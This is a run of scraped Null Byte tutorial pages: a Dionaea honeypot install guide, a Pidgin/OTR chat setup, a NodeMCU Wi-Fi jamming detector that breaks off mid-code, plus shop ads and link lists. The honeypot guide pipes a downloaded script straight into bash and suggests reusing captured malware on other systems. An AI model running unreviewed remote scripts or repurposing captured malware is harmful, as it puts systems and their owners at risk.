Network with Airserv-NgVideo:How to Crack Weak Wi-Fi Passwords in Seconds with Airgeddon on Parrot OSNews:'Beast' Cracks Billions of Passwords in SecondsHow To:Hack 5 GHz Wi-Fi Networks with an Alfa Wi-Fi AdapterHack Like a Pro:How to Crack Passwords, Part 1 (Principles & Technologies)How To:Brute-Force WPA/WPA2 via GPUHow To:Crack Shadow Hashes After Getting Root on a Linux SystemHow to Hack Wi-Fi:Choosing a Wireless Adapter for HackingHack Like a Pro:How to Crack Passwords, Part 2 (Cracking Strategy)How To:Hack Wi-Fi & Networks More Easily with Lazy ScriptHow to Hack Wi-Fi:Cracking WEP Passwords with Aircrack-NgLocking Down Linux:Harden Sudo Passwords to Defend Against Hashcat AttacksHacking Gear:10 Essential Gadgets Every Hacker Should TryRelease the KRACKen:WPA2 Wi-Fi Encryption Hackable Until All Clients & APs Are PatchedHow To:iOS 6 Broke Your Wi-Fi? Here's How to Fix Connection Problems on Your iPhone or iPadNews:How to Study for the White Hat Hacker Associate Certification (CWA)How To:Crack Password-Protected Microsoft Office Files, Including Word Docs & Excel SpreadsheetsHow To:Hack WiFi Passwords for Free Wireless Internet on Your PS3How To:GPU Accelerate Cracking Passwords with HashcatHow To:How Hackers Steal Your Internet & How to Defend Against ItNews:Advanced Cracking Techniques, Part 1: Custom DictionariesNews:Advanced Cracking Techniques, Part 2: Intelligent Bruteforcing
Break into Game Development with This $40 Bundle Β« Null Byte :: WonderHowTo
It's a common and unfortunate myth that you need to work in web or app development if you have a knack for coding and design. In fact, more and more development pros are entering the exciting and increasingly lucrative world of game design, thanks to a growing demand for strategy games that can be played on multiple platforms.TheBuild a Strategy Game Development Bundlewill teach you how to create pro-level strategy games from scratch regardless of your previous experience, and it's on sale today for over 95% off at just $39.99.With 14 hours of content on everything from basic illustration techniques and mechanics to unit movement mechanisms and beyond, this bundle is your one-stop resource for turning your love of development into a career in game design.If you're coming to this bundle with little-to-no experience in game development, you'll be able to start small, with a course that walks you through the basic elements of resource management, grid placement, character design, and more.From there, you'll be ready to move on to more advanced topics that will allow you to bring your characters to life through animation, setup attack scenarios that will have your characters engage in user-directed combat, add unit mechanics to your projects using simple UIs, and much more.There's also extensive instruction that focusses on the art of creating sweeping and expansive background environments, through lessons that focus on 3D isometric building tactics, time-saving algorithms, and creating illustrations of large-scale populations in a city.Turn your love of development into an exciting career in game design. Usually priced at nearly $2,000, the Build a Strategy Game Development Bundle is currently available forjust $39.99β€”over 95% off for a limited time.Prices are subject to change.Build a Strategy Game Development Bundle for Just $39.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Expand Your Coding Skill Set by Learning How to Build Games in UnityHow To:Learn to Code Your Own Games with This Hands-on BundleHow To:Build Games for Under $40 with This Developer's BundleHow To:Learn How to Create Fun PC & Mobile Games for Under $30Deal Alert:Learn the Basics of C++, Node.js, Adobe Mixamo & Unity for the Price of a ChromecastHow To:Streamline Your App & Game Development with AppGameKitHow To:Learn Java, C#, Python, Redux & More with This $40 BundleHow To:This Extensive Python Training Is Under $40 TodayHow To:Learn to Draw Like a Pro for Under $40How To:Break into the Lucrative World of Ethical Hacking with This Reasonably Priced Course BundleDeal Alert:Learn to Code for Only $39 While You're Stuck at HomeHow To:Create the Next Big Video Game by Learning Unity 2D with This Course Bundle, Now 98% OffHow To:Become an In-Demand Data Scientist with 140+ Hours of TrainingNews:The True Cost of Streaming Cable (It's Not as Cheap as You Think)How To:Learn to Code for Less Than $40How To:Supercharge Your Excel Skills with This Expert-Led BundleHow To:The Humble THQ Bundle Is Out Just in Time for Christmasβ€”7 Games for Any Price You Want!How To:Design Your Own Video Games with This Pay What You Want BundleHow To:This $1,300 Ethical Hacking Bundle Is on Sale for $40 TodayHow To:Expand Your Coding Skill Set with This 10-Course Training BundleHow To:Become an In-Demand Web Developer with This $29 TrainingHow To:This Massive Development & Animation Program Teaches You Everything You Need to Know to Design Video GamesHow To:This Extensive IT Training Bundle Is on Sale for Just $40How To:Learn How to Play the Market with This Data-Driven Trading BundleHow To:Explore Data Analysis & Deep Learning with This $40 Training BundleNews:All the Best Black Friday 2019 Deals on Smartphone AccessoriesAfterfall:InSanity Game Only $1 in Outlandish Plan to Reach 10 Million Pre-OrdersNews:The Humble Bundle Strikes Again with a "Frozen" ThemeNews:Indie Game Music Bundle (Including Minecraft)News:It's Humble Indie Bundle Time! 5 Games for 'Name Your Price'News:Another Mod Nation Racers mock commercialNews:Making an RPG in 14 Days Is Child's Play for Big Block GamesNews:Enter the Weird World of Hojamaka GamesNews:Price Drop! Xbox 360 Arcade now $149!News:Kinect Price Revealed; Sony Move ComparisonNews:Name your price for 5 gamesNews:Special Edition Gold PS3 'Ni No Kuni' Bundle -- Another Reason to Move to JapanNews:To All Aspring Game Developers In or Around Bedfordshire, UKNews:MAC-Using Gamemakers Rejoice! UDK Now Compatible With MAC OS XNews:3 Long Awaited Indie Games at PAX That Should Be Released Already!
Take Control of Your iOS Data with This All-in-One Management App Β« Null Byte :: WonderHowTo
We know our Null Byte readers would like to see some iPhone-hacking scenarios on the site soon, but until we get some of those up, we understand that some of you actually use an iPhone as your primary phone. If that's you, and you would like an easier way to get information from point A (your iPhone) to point B (your computer) and vice versa, there's an all-in-one tool that can help.Overall, there's a reason why tech enthusiasts and coding fanatics tend to have a love-hate relationship with Apple products. Although undeniably powerful and pleasing to the eye, best-selling gadgets like the MacBook Pro and the iPhone require you to play by a particular set of rules when it comes to transferring and managing files β€” making things exceedingly difficult for those of us who want to be incomplete controlof our data.Enter theiMazing iOS Device Managerβ€” a game-changing data management and transfer platform that makes it easier than ever to take full control of all of your Apple devices, all for just $19.99 when you sign up for a universal license today.Compatible with both Mac and PC platforms, iMazing is known as the Swiss Army Knife of iPhone, iPad, and iPod management β€” thanks to its unique ability to store, manage, and transfer your data according to your personal preferences and needs.This all-purpose tool allows you to browse and manage your backups quickly, extract and print your text messages, drag and drop songs to your iPhone, and more β€” all without having to rely on rigid Apple protocols that slow you down and inhibit your workflow.This subscription also simplifies the entire upgrade and transfer process whenever you need a new device, and you'll be able to manage every element of the transfer using a streamlined and intuitive interface.The iMazing tool even allows you to export your iPhone and iPad pictures and videos without having to rely on iCloud, and it's easy to store all of your device data offline for faster and more secure backups.Eliminate the headaches that come with syncing and transferring your Apple device data with a universal license to iMazing iOS Device Manager forjust $19.99β€” over 75% off its usual price today.Prices are subject to change.Don't Miss Out:iMazing iOS Device Manager for $19.99Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byParth Shah/Pexels(modified)RelatedHow To:Download Apps of Any Size Using Cellular Data on Your iPhone in iOS 13 β€” Without Any WarningsHow To:iOS 11 Just Upgraded the iPhone's Storage Management System with More FeaturesHow To:What All the Bluetooth & Wi-Fi Symbols Mean in iOS 11's New Control Center (Blue, Gray, or Crossed Out)How To:60 iOS Features Apple Stole from JailbreakersHow To:Disable the 'Unlock iPhone to Use Accessories' Notification in iOS 11.4.1 & HigherNews:PSAβ€”iOS 10 Beta Might Eat Up All Your DataHack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)News:27 Best Productivity Apps to Make Working from Home Less StressfulHow To:Offload Unused Apps to Free Up Storage Space on Your iPhoneNews:33 New Features & Changes for iPhone in iOS 13.4How To:Use & Customize Control Center on Your iPhoneHow To:App Over 150 MB? Here's How to Download It Using Cellular Data on Your iPhoneHow To:Improve Battery Life on Your iPhone Running iOS 12How To:Screen Time, App Limits & Downtime: How to Use iOS 12's New Parental ControlsNews:Downloads for Encrypted Messaging App Signal Have Almost Doubled Since Trump Took OfficeNews:6 Cool New Features in iOS 11.4 for iPhonePlex 101:How to Change Video Quality to Save Mobile DataNews:Apple Releases iOS 13.4 Developer Beta 2 for iPhone, Has New TV Options & Updated Mail ToolbarHow To:Download & Install iOS 13 on Your iPhone via Update or Restore ImageHow To:Disable Auto-Playing Videos in the iOS 11 App StoreHow To:Control Music Playing on Your Mac Using a Quick-Access Widget on Your iPhoneHow To:FaceTime Forcing LTE Instead of Wi-Fi? Here's How to Fix ItHow To:Your iPhone's Using More Data Than It Needs, but This Could Stop ItNews:Apple Releases iOS 13.4 Public Beta 2 for iPhone with New TV Settings & Mail ShortcutsNews:What's New in Shortcuts in iOS 13News:Features We Want in iOS 13 for iPhone (& What's Rumored to Show Up)News:iOS 11.4 Released to Everyone, Includes AirPlay 2, Messages in iCloud, New Wallpaper & MoreWish List:21+ Features iOS 12 Should Definitely Have for iPhonesHow To:Everything You Need to Know About iOS 8 Beta 4 for iPhone, iPad, & iPod TouchHow To:Remove Location Data from Photos & Videos You Share in iOS 13 to Keep Your Whereabouts PrivateHow To:Keep Facebook from Tracking Your Location When You're Not Using the AppGoogle Assistant 101:How to Manage Account PermissionsHow To:This Trick Will Instantly Increase Performance on Your iPad, iPhone, or iPod TouchHow To:Easily Transfer Everything from Android to iPhoneHow To:Get Spotify, Pandora & Other App Controls in Waze to Stop Switching Between Audio & MapsHow To:Save Cellular Data by Using Wi-Fi Only for FaceTime Audio & Video CallsDevelopers, Take Note:The Best-Looking Android App Animations of 2013How To:Timehop Breach Impacts Everyone Who's Ever Used the App β€” Here's How to Check What Info Leaked About YouHow To:The 9 Most Annoying Changes in iOS 11 & How to Fix ThemHow To:Unlock Apple's 'Dark Mode' in iOS 11, 12 & 13 for iPhone
Hack Like a Pro: Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 1 Β« Null Byte :: WonderHowTo
Welcome back, my greenhorn hackers!The Holy Grail of any hacker is to develop azero-day exploitβ€”an exploit that has never been seen by antivirus (AV) and other software developers, as well as intrusion detection system (IDS) developers. In that way, you can exploit systems with your newly discovered vulnerability with impunity!To get a zero-day, you have at least two choices: develop your own or capture someone else's.Developing your own can be a long and tedious process and requires significant knowledge of assembler, fuzzing, shellcode, etc. The process can take take thousands of man days. Cybercrime gangs and spying governments invest millions of dollars to develop zero-days, but in some rare cases, individuals manage to develop zero-days with little effort, especially for legacy systems. (The zero-daythat hacked Target two years agowas developed by a 17-year-old hacker in Russia, but it targeted Windows XP, which Target was still using on their point-of-sale systems).The other approach is to capture a zero-day that others have developed and reuse it. Rememberthe Hacking Team exploitsthat were released when Hacking Team was hacked? This approach has long been used by AV developers,forensic investigatorsand, in some cases, hackers.What we want to do inthis seriesis install and configure a honeypot that appears both vulnerable and realistic. Then, we wait for it to lure attackers in and then capture their malware when they have successfully compromised our system.If we are a forensic investigator, we can then analyze the malware and maybe develop a defense or signature. If we are a hacker, we may be able to reuse the malware on other systems. In some cases, we may need to re-engineer the malware for other purposes, but that is still much faster and more efficient than starting from scratch. The key is to be able to capture the malware first.DionaeaDionaeawas developed by Markus Koetter as a low-interaction honeypot. It emulates a vulnerable Windows systems with services often targeted by attackers such as HTTP, FTP, SSH, SMB, etc. It is written in C, but uses Python to emulate various protocols to entice attackers.Dionaeais named after the genus of plants that includes the carnivorousVenus flytrap. I think the symbolism is apparent.Probably most important, it uses Libemu to detect shellcode and can alert us of the shellcode and capture it. Dionaea sends real-time notification of attacks via XMPP and then logs the information into a SQLite database.LibemuLibemu is a library used for x86 emulation as well as shellcode detection, which is perfect for our honeypot here. It can pull malware off the wire or inside documents (PDF, RTF, etc.) that we can then use to analyze for malicious behavior using heuristics.This is a relatively advanced honeypot and should not be attempted by the novice. In addition, I strongly suggest that you NOT use it on a system that will be used for other purposes as we will be installing libraries and other code that may disable other parts of your system.In addition, Dionaea is meant to be vulnerable. This means if it is compromised, your entire system may be compromised. You should use a clean install, preferably a Debian or Ubuntu system. I will be using a clean install of Ubuntu 14.04.Step 1: Install DependenciesDionaea is a complex piece of software and requires numerous dependencies that are not usually installed on Ubuntu or other Debian distributions. As a result, we will need to install the dependencies before installing and configuring Dionaea. This can be a long and tedious task.For instance, to begin we need to download the following packages.ubuntu > apt-get install libudns-dev libglib2.0-dev libssl-dev libcurl4-openssl-dev libreadline-dev libsqlite3-dev python-dev libtool automake autoconf build-essential subversion git-core flex bison pkg-config libnl-3-dev libnl-genl-3-dev libnl-nf-3-dev libnl-route-3-dev sqlite3Fortunately,Andrew Michael Smithhas developed a script that does all the heavy lifting for us. We can download his script from GitHub usingwget.ubuntu > wget -qhttps://raw.github.com/andrewmichaelsmith/honeypot-setup-script/master/setup.bash-O /tmp/setup.bash && bash /tmp/setup.bashThis script will download and install all of the dependencies (there are many) and applications (p0f, SQLite, and others), then download and install and configure Dionaea.Be patient here, this can take quite awhile.Step 2: Choose an InterfaceAfter downloading all of the applications and dependencies, Dionaea will begin to configure itself and ask you to choose the network interface you want the honeypot to listen on. Here, I chose eth0, but yours may be different.Eventually, the downloading and installing will complete and you will be greeted by a screen like below telling you thatp0fand Dionaea have started.Step 3: Test the InstallOnce the above process has been completed, we can check to see whether Dionaea has been properly and completely installed by typing:ubuntu > dionaea -helpIf the help screen seen above appears, you have successfully installed Dionaea. Congratulations!Configuring DionaeaNow our honeypot is up and running. Infuture tutorials in this series, I will show you how to set up Dionaea to alert you in real time of attacks, how to identify the particulars of the attackers (OS, IP, browser, interface), and how to capture and analyze the shellcode of the attack.Then, we will test our honeypot usingMetasploitand other attack tools to see whether it can actually capture malware before placing it live online. So keep coming back, my greenhorn hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover images via Shutterstock (1,2)RelatedHack Like a Pro:Capturing Zero-Day Exploits in the Wild with a Dionaea Honeypot, Part 2 (Configuration)News:The DEA Spent $575,000 of Your Tax Dollars on Zero-Day ExploitsHow To:Use the Cowrie SSH Honeypot to Catch Attackers on Your NetworkNews:How Zero-Day Exploits Are Bought & SoldHack Like a Pro:How to Build Your Own Exploits, Part 1 (Introduction to Buffer Overflows)Hack Like a Pro:How to Set Up a Honeypot & How to Avoid ThemHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitNews:How Governments Around the World Are Undermining Citizens' Privacy & Security to Stockpile CyberweaponsHack Like a Pro:How to Build Your Own Exploits, Part 2 (Writing a Simple Buffer Overflow in C)How To:Draw Zero No Louise of Zero No TsukaimaHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPNews:Chrysaor Malware Found on Android Devicesβ€”Here's What You Should Know & How to Protect YourselfHack Like a Pro:Metasploit for the Aspiring Hacker, Part 8 (Setting Up a Fake SMB Server to Capture Domain Passwords)How To:The Art of 0-Day Vulnerabilities, Part 1: STATIC ANALYSISHow To:Hack Your Kindle Touch to Get It Ready for Homebrew Apps & MoreHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Remotely Grab Encrypted Passwords from a Compromised ComputerNews:Hackers Claim 1$ Million Bounty for Security Flaw in iOS 9Red Dead Redemption Review:5 out of 5News:Day 2 Of Our New WorldNews:Wild West ThemeHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterEkokook:The Kitchen of the FutureMortal Kombat:Legacy: Ep. 8: Scorpion and Sub Zero (Part 2)Mortal Kombat:Legacy: Ep. 7: Scorpion and Sub Zero (Part 1)News:Wild Mustang Problems?News:Slow Motion Footage of Surfers from Jaws Beach, HawaiiNews:Mystery Game ContentsNews:Countdown to ZeroHow To:Use Internet Explorer? Install the Latest Version to Avoid the Newest Zero-Day ExploitHow To:Survive Deadly Bites and Stings from Wild Animals
Hack Like a Pro: How to Install & Use a Secure IRC Client with OTR Β« Null Byte :: WonderHowTo
Welcome back, my amateur hackers!As many of you know, Null Byte will soon be re-establishing its IRC channel. In preparation of that event, I want to show how to set up a secure IRC client with OTR, orOff the Record.OTR does all the right things to make your instant messages secure; AES encryption, Diffie-Hellman key exchange, and SHA-1 hash. If you don't know what those items are, check out my article onCryptography Basics for the Aspiring Hacker.OTR provides us the security we need to communicate freely:Authentication: You can be certain the person you are talking to is who they say they are.Deniability: After a chat session ends, no one can identify either end of the conversation.Encryption: No one can read your messages en route.Perfect Forward Security: If your private keys are intercepted or otherwise obtained by a third party, your previous conversations will not be compromised.If you need any testimonials as to the security of OTR, when Edward Snowden was being hunted down by the NSA in Hong Kong and Russia, he would ONLYcommunicate by OTRand, of course, he remained free. If that's not a testimonial to its security, I don't know what would be.OTR is really a protocol for secure IRC communication. As such, many IRC clients use OTR if properly configured, while others require a plugin to use OTR. In this tutorial, we will be installing Pidgin with the OTR plugin.Step 1: Install Pidgin with OTRThe first thing we need to do is install a client with OTR. I have chosenPidginbecause it is widely used and has an OTR plugin. Of course, many other IRC clients have OTR plugins and you are free to use those.We can get Pidgin and OTR together from the Kali repository by typing;kali > apt-get install pidgin-otrAs it installs, it will look something like this. Make certain to answer "y" when prompted.When it has completed installing all the necessary components and libraries, it will look something like the above.Step 2: Open PidginNow that we have installed Pidgin, it will be installed on our Kali GUI at Applications -> Internet -> Pidgin Internet Messenger, as seen below.Image viawonderhowto.comWhen you click on Pidgin, you will be greeted by a screen like that belowβ€”click on Add to add an account to Pidgin.Step 3: Add AccountsIn this case, I am adding my IRC (protocol) account under the username "otw" to the freenode.net server. Of course, use your own username and password. Also, you can use the Pidgin client on any "chat" protocol including AIM, Google Talk, ICQ, MSN, Yahoo, and others.When I click "Add," it opens a Buddy List and a screen to enter more accounts.Step 4: Add the OTR PluginNext, we need to add the OTR plugin to our Pidgin client. On the Buddy List, click on Tools -> Plugins -> Off-the-Record, then click "Configure Plugin."Now check the button next to the OTR then click close, and close again to enable the plugin. Make certain that the checkboxes "Enable private messaging" and "Automatically initiate private messaging" are checked. Then will automatically encrypt your communication when using this client. I would also suggest that you check "Don't log OTR conversations" so that no record exists of your conversationLastly, we need to generate private keys. From the same OTR Plugin configuration screen, click on the "Generate." Be patient, this can take awhile.Now we are capable of safe and secure IRC and other chats knowing that no one can intercept and read our conversations. That should enable us to speak freely about any subject without fear of repercussions.In my next article on OTR, I will show you how to authenticate a user with OTR in our Pidgin client so that you can be certain that the person you are communicating with is actually who they say they are, so keep coming back my amateur hackers!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Use Private Encrypted Messaging Over TorThe Hacks of Mr. Robot:How to Send Ultra-Secure EmailsHow to Become Anonymous Part 2:Tails: The OS Made for AnonymityIRC Guide:Universal NickNameHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginNews:Anonymity, Darknets and Staying Out of Federal Custody, Part Four: The Invisible InternetCommunity Byte:Coding a Web-Based Password Cracker in PythonCommunity Byte:Coding an IRC Bot in Python (For Beginners)Community Byte:HackThisSite Walkthrough, Part 1 - Legal Hacker TrainingHow To:Create an SSH Tunnel Server and Client in LinuxCommunity Byte:Hack Our IRC Bot to Issue CommandsCommunity Byte:HackThisSite Walkthrough, Part 2 - Legal Hacker TrainingHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxCommunity Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker TrainingHow To:Use Wireshark to Steal Your Own Local PasswordsHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Burn an XDG3 Formatted Xbox 360 Game ISO with WindowsNews:Gathering Data for Fun and ProfitCommunity Byte:HackThisSite, Realistic 5 - Real Hacking SimulationsHow To:Push and Pull Remote Files Securely Over SSH with PipesCommunity Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsCommunity Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCommunity Byte:HackThisSite Walkthrough, Part 7 - Legal Hacker TrainingGoodnight Byte:Hack Our IRC Bot to Issue CommandsCommunity Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 2 - Real Hacking SimulationsCommunity Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsListen In:Live Social Engineering Phone Calls with Professional Social Engineers (Week 2)Listen In:Live Social Engineering Phone Calls with Professional Social EngineersHow To:Completely Mask & Anonymize Your BitTorrent Traffic Using AnomosHow To:Run an FTP Server from Home with LinuxCommunity Byte:HackThisSite Walkthrough, Part 9 - Legal Hacker TrainingSecure Your Computer, Part 3:Encrypt Your HDD/SSD to Prevent Data TheftNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Hack Wireless Router Passwords & Networks Using HydraNews:WebChat for Null Byte IRC!Secure Your Computer, Part 4:Use Encryption to Make a Hidden Operating System
How to Program a $6 NodeMCU to Detect Wi-Fi Jamming Attacks in the Arduino IDE Β« Null Byte :: WonderHowTo
Hackers and makers are often grouped under the same label. While hackers draw on computer science skills to write programs and find bugs, makers use electrical engineering to create hardware prototypes from microprocessor boards like theArduino. We'll exercise both sets of skills to program a $6 NodeMCU to display the status of a Wi-Fi link via an LED, allowing us to monitor forjamming attacks.While it's easy to launch attacks against Wi-Fi, detecting most attacks is relatively straightforward as well. Under normal circumstances, IoT devices can easily connect to a Wi-Fi network and perform useful functions. During a jamming attack, devices like smart speakers or connected Wi-Fi cameras are most vulnerable, as they lack a backup Ethernet link.To spot such attacks, we can leverage a low-cost IoT device like aNodeMCUto act as a "canary in a coal mine" to warn us if connecting to a particular Wi-Fi network becomes impossible. Rather than checking for upstream connectivity, we'll program a simple detector that tries to connect to a monitored Wi-Fi network and changes an LED indicator to let us know if a standard connection is not possible.Don't Miss:This Simple Arduino Hack Opens Millions of Hotel Keycard DoorsDesigning the DetectorThe first step of our project is to decide what our hardware prototype is supposed to do. Because most Wi-Fi-related attacksabuse management framesto make a standard connection impossible, checking the status of the Wi-Fi link of an IoT device is a way we can test the overall ability of devices to connect. To keep things simple on our first project, we will be creating a link monitor focusing on checking the ability of a Wi-Fi device to maintain a regular connection to a network. If it cannot, we will generate an alert to warn that there is a problem with the network.Because we are not attempting to connect and check network connectivity, there are a few limitations to this tactic. First, we will not be alerted (or get false positives) if the router isn't able to connect to the internet, but the Wi-Fi link between the router and the detector is okay.Second, we are not looking for the telltale signs of deauthentication and disassociation frames; While we will cover this in a future build, the design we will make is more straightforward and will also be triggered by more subtle jamming attacks.Don't Miss:How to Use MDK3 for Advanced Wi-Fi JammingOf course, if an attacker filters their jamming attacks to attack only other devices on the network and leaves the "canary" alone, then the detector will always have a valid Wi-Fi link and continue to signal the link is okay even if other devices cannot connect.In a future build, we will create a deauthentication and disassociation packet detector that will be able to detect common deauth attacks in the area. For now, we will start our journey as a maker with a more simple design to understand how IoT programming works. We'll start by looking at the underlying hardware.The ESP8266 ChipThe ESP8266 Wi-FI radio chip has been well-known among makers for its intriguing combination of relatively powerful, hackable hardware and a low price point. Makers began noticing and documenting this chip, allowing for the eventual inclusion of support for the ESP8266 in Arduino IDE. Simple Arduino-like devices using this Wi-Fi radio can be easily programmed to use Wi-Fi to do anything a maker can imagine. From this chip, a few popular types of firmware emerged, including the NodeMCU and Arduino ESP8266 Core.The NodeMCUOne Arduino-like device that has become popular with makers developing prototypes is theNodeMCU devkit 1.0. This inexpensive board, which I've seen go for anywhere between $5 and $9 each unit, is based around the ESP8266. It can be programmed in a variety of well-documented languages, like Arduino, Lua, and MicroPython, allowing virtually anyone to get started creating Wi-Fi-connected IoT devices using it, abreadboard, and any number of other electronics to be controlled via Wi-Fi. By just plugging a NodeMCU into a breadboard, a beginner can learn to control and blink LED lights of different color combinations in only a few minutes.Get It on Amazon:ESP8266 NodeMCU CP2102 Wi-Fi Internet Development Board Wireless ModuleWhen a programmer writes their first program, it's traditional to write "Hello world" as the first output. In the maker community, the equivalent right of passage is to make an LED blink. For our prototype, we'll need the NodeMCU to tell us if it's no longer able to connect normally, meaning we'll need some indicator to let us know if there is trouble with the connection ability. To do this, we can use the onboard LED on the NodeMCU, which is blue and turns on and off. Alternatively, we could use athree-color RGB LEDto give us some more options for our warning display.Don't Miss:Build a Software-Based Wi-Fi Jammer with AirgeddonIn this guide, we will be using afour-pin RGB LEDto blink blue when trying to find a connection, green when the connection is normal, and red when the connection is being interfered with or the network is taken down.Parts Needed for This GuideI've already laid out the parts needed for this guide above, but to make it super clear, here's what I ended up using:ESP8266 NodeMCU CP2102 Wi-Fi Internet Development Board Wireless Module(Less than $6 per unit.)Solderless Breadboard Kit with Jumper Wires(Around $11, but you can probably find a single breadboard with a few jumpers for less.)Tricolor RGB LED(Around $9 for a bunch, but you can get just one at a local store for super cheap.)Micro USB Cable(You probably already have one of these.)Resistors(Optional, if you want the LED to last longer.)Step 1: Set Up the Arduino IDEThere are several languages in which you can program a NodeMCU, and depending on your background, you can use whichever you are most comfortable with. In this guide, we will use the free and cross-platformArduino IDE, which will allow us to quickly prototype what we need. Arduino IDE (the IDE stands for "integrated development environment") allows you to quickly write and upload scripts to Arduino-like microcontroller devices.You can download the Arduino IDE from theofficial website. Once you've downloaded and installed it, you'll need to click on the "Arduino" drop-down menu, then select "Preferences" from the menu that appears.In the "Preferences" menu that opens, paste the following URL into the "Additional Boards Manager URLs" field. Once that's complete, click "OK" to close the menu.http://arduino.esp8266.com/stable/package_esp8266com_index.jsonStep 2: Configure the Arduino IDE for the ESP8266Next, you'll need to add the NodeMCU to theBoards Manager. To do this, you'll need to click on "Tools," then hover over the "Board" section to see the drop-down list of supported boards. At the top, click "Boards Manager" to open the window that will allow us to add more boards.When the Boards Manager window opens, type "esp8266" into the search bar. Select "esp8266" by "ESP8266 Community," and install it to add support for the NodeMCU to your Arduino IDE.Once this is done, you should be ready to program your NodeMCU. Plug your NodeMCU into your breadboard, and your NodeMCU into the computer. When you click on "Tools," you should see the correct port auto-selected. Select the "NodeMCU 1.0" as shown in the image below. If you're using a bad cable, the port may not show up, so if you don't see anything after you've completed the other steps, try another cable first.There are two main buttons at the top. One compiles and checks our code for mistakes before uploading it, and the second icon that looks like an arrow pushes the code to the NodeMCU.Step 3: Wire the NodeMCU to an LEDOur first challenge will be getting the NodeMCU to blink a particular color when we tell it to, allowing us to use an RGB LED to indicate the status of something we can't see β€” the Wi-Fi connection. Let's write some code to blink an LED!The kind of RGB LED we'll be using is very simple to control. We have a ground pin that's longer than the other pins, and then one pin for each color, red, green, and blue.Looking at the top of the NodeMCU, you'll notice the pins are labeled. TheD0throughD8pins we can program to control an LED, while theGND(ground) pin lets us connect the ground pin of the LED,completing the circuitand allowing the LED to light up. We will plug the RGB LED in next to theGND,D5,D6, andD7pins on the NodeMCU, with the longer pin connected to theGNDposition. We'll need to map each pin to a color, so that in our program, when we tell a pin to turn on, it will turn on that particular color.To understand how a breadboard is used to connect pins, take a look at this image of the back side of a full-sized breadboard. Here, you can see that the rows in the center are connected, while the columns at each edge are connected for applying power and ground.The connections of a breadboard.Image by Florian SchΓ€ffer/Wikipedia CommonsWe will plug the LED's pins into the breadboard next to the corresponding pins on the NodeMCU, as seen in the picture below with our mini-breadboard. This smaller breadboard lacks the columns seen on the sides of the full breadboard pictured above.If you have resistors, you can extend the life or your LED's by putting them in between the pin and the LED. While not strictly necessary, connecting the LED without a resistor isn't technically the best way to do this as it can burn out the LED eventually, but it is by far the fastest way to get started.If you canspare the resistors, the space on your breadboard, and some wires for the red, green, and blue connections, you can assemble the board as seen below. Instead of plugging in the LED directly to the pins, use a resistor to sit in-between the voltage from each pin and the LED, except for the ground pin. After doing so, you can connect directly to the LED's ground pin without a resistor.With the LED plugged into either configuration, it's time to flash some code and get the LEDs to light up.Step 4: Write a Simple Program for the NodeMCUTo test the connections and set up our colors, we'll use a basic program to blink the LED different colors. You can see the code we'll use below.int highTime = 1000, lowTime = 100; // First, we define how long the light should be on (highTime) and how long the light should be off (lowTime) per blink in miliseconds (1000 = 1 sec) void red() { // Next, we create a function for the color red. You can expariment or swap these after testing them. For now, we will map pin D5 to our function "red" digitalWrite(D5, HIGH), delay(highTime), digitalWrite(D5, LOW), delay(lowTime); } void green() { // We will repeat this process for the color green. As a note, these are "void" functions because unlike normal functions they don't return any data, they just do something. digitalWrite(D6, HIGH), delay(highTime), digitalWrite(D6, LOW), delay(lowTime); } void blue() { // Finally, we create a function for the color blue as well. digitalWrite(D7, HIGH), delay(highTime), digitalWrite(D7, LOW), delay(lowTime); } void setup() { // This runs first to set up for our program, and only runs once. In this step, we will tun on the pins. pinMode(D5, OUTPUT), pinMode(D6, OUTPUT), pinMode(D7, OUTPUT); // Here we turn on pins D5, D6, and D7 for output. } void loop() { // This loop will run over and over. red(),green(),blue(); // Here, we call our functions, red(), green(), and blue() one after another to test our blinking LED's. delay(100); // The last thing we do is add a 